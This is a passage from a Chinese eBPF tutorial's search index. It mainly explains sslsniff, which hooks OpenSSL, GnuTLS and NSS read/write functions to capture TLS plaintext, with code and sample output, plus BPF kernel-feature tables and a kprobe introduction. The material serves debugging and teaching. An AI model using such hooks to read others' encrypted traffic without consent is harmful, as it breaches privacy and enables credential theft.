内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"210","title":"2. SSL_write 函数"},"211":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"211","title":"eBPF 内核态代码编写"},"212":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"212","title":"数据结构"},"213":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"213","title":"Hook 函数"},"214":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"214","title":"Hook到握手过程"},"215":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"215","title":"用户态辅助代码分析与解读"},"216":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"216","title":"1. 支持的库挂载"},"217":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"217","title":"2. 详细挂载逻辑"},"218":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"218","title":"编译与运行"},"219":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"219","title":"启动 sslsniff"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"220","title":"执行 CURL 命令"},"221":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"221","title":"sslsniff 输出"},"222":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"222","title":"显示延迟和握手过程"},"223":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"223","title":"16进制输出"},"224":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 总结","id":"224","title":"总结"},"225":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Linux 内核版本的 BPF 功能","id":"225","title":"Linux 内核版本的 BPF 功能"},"226":{"body":"内核版本 提交 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF支持","id":"226","title":"eBPF支持"},"227":{"body":"可以使用以下命令获取内核支持的体系结构列表： git grep HAVE_EBPF_JIT arch/ 功能 / 体系结构 内核版本 提交 x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 JIT机器的常量混淆 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 常量混淆 - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT编译","id":"227","title":"JIT编译"},"228":{"body":"其中几个（但不是全部） 主要特性 可以转换为 eBPF 程序类型。 您的内核支持的此类程序类型的列表可以在文件 include/uapi/linux/bpf.h 中找到： git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h 特性 内核版本 提交 AF_PACKET (libpcap/tcpdump, cls_bpf 分类器, netfilter 的 xt_bpf, team 驱动程序的负载均衡模式…) 3.15 bd4cf0ed331a 内核助手 3.15 bd4cf0ed331a bpf() 系统调用 3.18 99c55f7d47c0 Maps ( 又名 表; 详见下文) 3.18 99c55f7d47c0 BPF 附加到套接字 3.19 89aa075832b0 BPF 附加到 kprobes 4.1 2541517c32be cls_bpf / act_bpf 用于 tc 4.1 e2e9b6541dd4 尾调用 4.2 04fd61ab36ec 非根程序上的套接字 持久映射和程序（虚拟文件系统） 4.4 b2197755b263 tc的direct-action(da)模式 4.4 045efa82ff56 tc的clsactqdisc 4.5 1f211a1b929c BPF连接到跟踪点 4.7 98b5c2c65c29 直接数据包访问 4.7 969bf05eb3ce XDP（参见下文） 4.8 6a773a15a1e8 BPF连接到性能事件 4.9 0515e5999a46 tc的cls_bpf的硬件卸载 4.9 332ae8e2f6ec 验证器暴露和内部钩子 4.9 13a27dfc6697 BPF连接到 cgroups 用于套接字过滤 4.10 0e33661de493 轻量级隧道封装 4.10 3a0af8fd61f9 e BPF对xt_bpf模块（iptables）的支持 4.10 2c16d6033264 BPF程序标签 4.10 7bd509e311f4 跟踪点以调试BPF 测试/基准测试BPF程序 4.12 1cf1cae963c2 BPF程序和映射ID 4.13 dc4bb0e23561 BPF对sock_ops的支持 4.13 40304b2a1567 BPF对套接字上的skb的支持 4.14 b005fd189cec 内核源码中的bpftool实用程序 4.15 71bb428fe2c1 BPF附加到cgroups作为设备控制器 4.15 ebc614f68736 bpf2bpf函数调用 4.16 cc8b0b92a169 BPF用于监视套接字RX/TX数据 4.17 4f738adba30a BPF附加到原始跟踪点 4.17 c4f6699dfcb8 BPF附加到bind()系统调用 4.17 4fbac77d2d09 aac3fc320d94 BPF附加到connect()系统调用 4.17 d74bad4e74ee BPF 类型格式（BTF） AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 seg6local LWT 的 End.BPF 操作 4.18 004d4b274e2a BPF 附加到 LIRC 设备 4.18 f4364dcfc86d 将映射值传递给映射助手 4.18 d71962f3e627 BPF 套接字复用端口 4.19 2dbb9b9e6df6 BPF 流解剖器 4.20 d58e468b1112 BPF 1M 指令限制 5.2 c04c0d2b968a BPF 控制组 sysctl 5.2 7b146cebe30c BPF 原始跟踪点可写 5.2 9df1c28bb752 BPF 有界循环 5.3 2589726d12a1 BPF 跳板 5.5 fec56f5890d9 BPF LSM 钩子 5.7 fc611f47f218 641cd7b06c91 BPF 迭代器 5.8 180139dca8b3 BPF套接字查找挂钩 可睡眠的BPF程序 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » 主要特性","id":"228","title":"主要特性"},"229":{"body":"程序类型 内核版本 提交 枚举 套接字过滤器 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE 流量控制(TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS 流量控制(TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT 跟踪点 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP 性能事件 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup套接字过滤 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup套接字修改 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK 轻量级隧道(IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN\".lightweight tunnel (OUT) 轻量级隧道 (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT 轻量级隧道 (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS cgroup sock操作 (每个连接) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB 流分析器 / 流判定 | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB cgroup device manager | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE cgroup设备管理器 | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG 套接字消息判定 | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG Raw tracepoint | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT 裸跟踪点 | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT socket binding | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR 套接字绑定 | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL 轻量级隧道seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lirc设备 | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT 查找SO_REUSEPORT套接字 | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT flow dissector | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTOR 流解析器 | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL 可控 cgroup | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE 可写原始跟踪点 | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING 追踪 (BTF/BPF 弹跳) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING struct ops | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS 结构操作 | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS extensions | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT 扩展 | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT LSM | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM LSM (Linux安全模块) | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM lookup listening socket | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP 查询监听套接字 | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL 允许执行系统调用 | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"229","title":"程序类型"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用 kprobes 技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态地插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。 kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是 pre_handler、post_handler 和 fault_handler，其中 pre_handler 函数将在被探测指令被执行前回调，post_handler 会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler 会在内存访问出错时被调用；jprobe 基于 kprobe 实现，它用于获取被探测函数的入参值；最后 kretprobe 从名字中就可以看出其用途了，它同样基于 kprobe 实现，用于获取被探测函数的返回值。 kprobes 的技术原理并不仅仅包含纯软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构，包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips（有些架构实现可能并不完全，具体可参考内核的 Documentation/kprobes.txt）。 kprobes 的特点与使用限制： kprobes 允许在同一个被探测位置注册多个 kprobe，但是目前 jprobe 却不可以；同时也不允许以其他的 jprobe 回调函数和 kprobe 的 post_handler 回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的，另外还有do_page_fault 和 notifier_call_chain； 如果以一个内联函数为探测点，则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数的运行上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码； kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，而在它的回调函数中可能会再次调用printk函数，此时将不再触发printk探测点的回调，仅仅是增加了kprobe结构体中nmissed字段的数值； 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存； kprobes 回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃 CPU 的函数（如信号量、mutex 锁等）； kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现，因此栈回溯和 gcc 内嵌函数__builtin_return_address()调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 当在进入和退出一个函数时，如果 CPU 运行在非当前任务所有的栈上，那么往该函数上注册 kretprobe 